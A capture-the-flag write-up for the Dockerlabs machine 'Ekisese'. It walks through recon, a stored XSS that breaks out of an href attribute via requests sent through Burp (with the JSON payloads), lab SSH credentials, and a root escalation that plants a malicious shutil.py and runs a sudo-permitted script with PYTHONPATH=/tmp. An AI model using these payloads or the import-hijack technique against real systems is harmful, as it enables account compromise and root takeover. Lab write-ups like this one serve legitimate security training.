Skip to content

Ekisese — Writeup

Platform Dockerlabs
OS Linux
Difficulty Medium
InitialVector XSS (href attribute injection)
Privesc sudo python3 (PYTHONPATH hijack)

Phase 1 — Reconnaissance

Full TCP scan first, service/version scan second, standard approach.

nmap -sS -n -Pn -p- 172.17.0.2 -oG ports

Two ports open: 22 and 5000.

nmap -sV -sC -n -Pn -p22,5000 172.17.0.2 -oN portScan
Port Service Notes
22 SSH OpenSSH 10.0p2 Debian 7
5000 HTTP Werkzeug 3.1.4 / Python 3.13.5 — looks like a Flask app

The http-title field reports "DockerLabs", and Werkzeug on port 5000 is a pretty strong hint this is a Flask backend, not a static site.

Screenshot

Phase 2 — Service Enumeration

Web (5000)

Directory brute force with gobuster against the common wordlist.

gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Screenshot
dashboard            (Status: 200) [Size: 40984]
api                  (Status: 200) [Size: 724990]
login                (Status: 200) [Size: 10274]
logout               (Status: 302) [Size: 189] [--> /]
register             (Status: 200) [Size: 11760]

/api came back with a huge response during the initial gobuster sweep — turned out to expose what looks like the real DockerLabs platform API: machine names, writeup counts, creator rankings, all of it.

info_maquinas   (170)[ {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, … ]
maquinas    (170)[ "Psycho", "Dance-Samba", "Pequeñas-Mentirosas", "Veneno", "Injection", "Grandma", "Apolos", "Report", "Swiss", "WhereIsMyWebShell", … ]
metadata    { total_creadores: 44, total_puntos: 7508, total_writeups: 3412 }
ranking_creadores   (44)[ {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, … ]
ranking_writeups    (365)[ {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, … ]
writeups    { textos: (2881)[…], videos: (531)[…] }

Screenshot </figure

Spent a bit of time poking through this before realizing it's just flavor data to make the app feel like the real DockerLabs site — not actually part of the intended path. The real lab briefing only showed up after triggering the /logout popup.

/dashboard is the user dashboard.

Screenshot

/login is the login form.

Screenshot

/register is the registration form.

Screenshot

/logout triggers a popup with the actual lab briefing:

Bienvenido al laboratorio XSS

Bienvenido al laboratorio para explotar la vulnerabilidad XSS, debes intentar encontrar y explotar la vulnerabilidad.

💡 Pista:

En el panel de dashboard la puedes inyectar

So the target is confirmed: an XSS somewhere on the dashboard panel.

Screenshot

Phase 3 — Attack Path

Initial Access

First pass, the obvious payload on every input field on the dashboard:

<script>alert(1)</script>
Screenshot

No alert. Instead the form throws a validation error: "La URL de LinkedIn debe ser válida (https://linkedin.com/...)". So the LinkedIn, GitHub, and YouTube fields validate that the value starts with their respective domain. Tried wrapping the payload inside a value that still satisfies that prefix:

https://website.com/<script>alert(1)</script>

swapping the domain for each of the three fields. On the biography field, which has no such validation, tried a classic img-based payload instead:

<img src=teto onerror=alert(1)>
Screenshot

Nothing fired yet. These social links aren't rendered as raw text on the page — they get built into <a href="..."> tags, so the payload needed to actually break out of the href attribute rather than just being generic HTML. To see how the tag is constructed, needed a way to view the submitted profile rendered back.

/add-maquina lets you register a machine, and that machine listing pulls in the submitting user's profile data, including those social links. Submitting a machine under the test user gave a page showing how the payload actually renders.

Screenshot
Screenshot

Hovering over the link confirmed the payload was landing literally, untouched, as https://website.com/<script>alert(1)</script> — the script tag itself wasn't the way in, since it was sitting inside an href value as plain text.

Screenshot

Since the value ends up inside href="...", the move was to break out of the attribute and add an event handler instead of trying to inject a new tag:

https://website.com/teto\"onmouseover=\"alert(1)

The idea: close the href attribute early and open an onmouseover handler that fires on hover. Updated the profile fields with this payload:

Screenshot

Screenshot

The rendered tag came back like this:

<a href="https://linkedin.com/teto\" onmouseover='\"alert(1)"" data-xss="true" target="_blank" rel="noopener noreferrer" style="color: rgb(0, 119, 181); font-size: 1.1rem; transition: transform 0.2s; transform: scale(1);" onmouseout="this.style.transform='scale(1)'" title="LinkedIn">
<i class="bi bi-linkedin"></i>
</a>

Close, but the backslashes were preserved literally in the output — the frontend form was escaping the quotes before they ever reached the server, so the injected quote wasn't actually breaking out of the attribute. The onmouseover ended up as a literal string value, not real markup.

The fix was to skip the frontend form entirely and send the update straight through Burp, without the client-side escaping in the way:

Screenshot

{"linkedin_url":"https://linkedin.com/teto\"onmouseover=\"alert(1)","github_url":"https://github.com/teto\"onmouseover=\"alert(1)","youtube_url":"https://youtube.com/teto\"onmouseover=\"alert(1)"}

Screenshot

This time the alert actually fired on hover, on any of the three links. Checking the DOM confirmed it:

<a href="https://linkedin.com/teto" onmouseover="alert(1)" data-xss="true" target="_blank" rel="noopener noreferrer" style="color: rgb(0, 119, 181); font-size: 1.1rem; transition: transform 0.2s; transform: scale(1);" onmouseout="this.style.transform='scale(1)'" title="LinkedIn">
                    <i class="bi bi-linkedin"></i>
                </a>

The quotes were no longer HTML-encoded as &quot; — the injection landed as real markup, closing href and opening a genuine onmouseover attribute. Sending the request directly through Burp, bypassing the frontend's client-side sanitization, was the actual key here.

With the injection confirmed, swapped the payload for what the lab was actually checking for — a call to alert('XSS'):

{"linkedin_url":"https://linkedin.com/teto\"onmouseover=\"alert('XSS')","github_url":"https://github.com/teto\"onmouseover=\"alert('XSS')","youtube_url":"https://youtube.com/teto\"onmouseover=\"alert('XSS')"}

Screenshot

Triggering it gave a popup confirming the lab was solved, along with SSH credentials:

Screenshot

chocolate:chocolatito123

Post-Shell

Logged in as chocolate over SSH, sudo -l was the first thing to check:

chocolate@9ab55fc3e76f:~$ sudo -l
Matching Defaults entries for chocolate on 9ab55fc3e76f:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User chocolate may run the following commands on 9ab55fc3e76f:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /usr/local/bin/cleanup.py

chocolate can run cleanup.py as root, no password, and critically with SETENV — meaning full control over the environment variables for that execution. Reading the script:

#!/usr/bin/env python3
import shutil
import os
import sys

def cleanup_temp_files():
    print("Cleaning up temporary files...")
    # Simulate some cleanup action
    if os.path.exists("/tmp/temp_upload"):
        try:
            shutil.rmtree("/tmp/temp_upload")
            print("Cleanup successful.")
        except Exception as e:
            print(f"Error during cleanup: {e}")
    else:
        print("No temporary files found.")

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("This script must be run as root!")
        sys.exit(1)

    cleanup_temp_files()

It imports shutil by name, not by absolute path, and SETENV means PYTHONPATH is controllable. Classic library hijacking setup.

Privilege Escalation

Dropped a malicious shutil.py in a directory under my control:

echo 'import os; os.system("/bin/bash")' > /tmp/shutil.py

Then ran the sudo-allowed command with PYTHONPATH pointed at /tmp, so Python resolves import shutil to the fake file instead of the real standard library module:

sudo PYTHONPATH=/tmp /usr/bin/python3 /usr/local/bin/cleanup.py

Screenshot

Python loads the fake shutil before ever getting to the real cleanup logic, and os.system("/bin/bash") runs as root.


Resources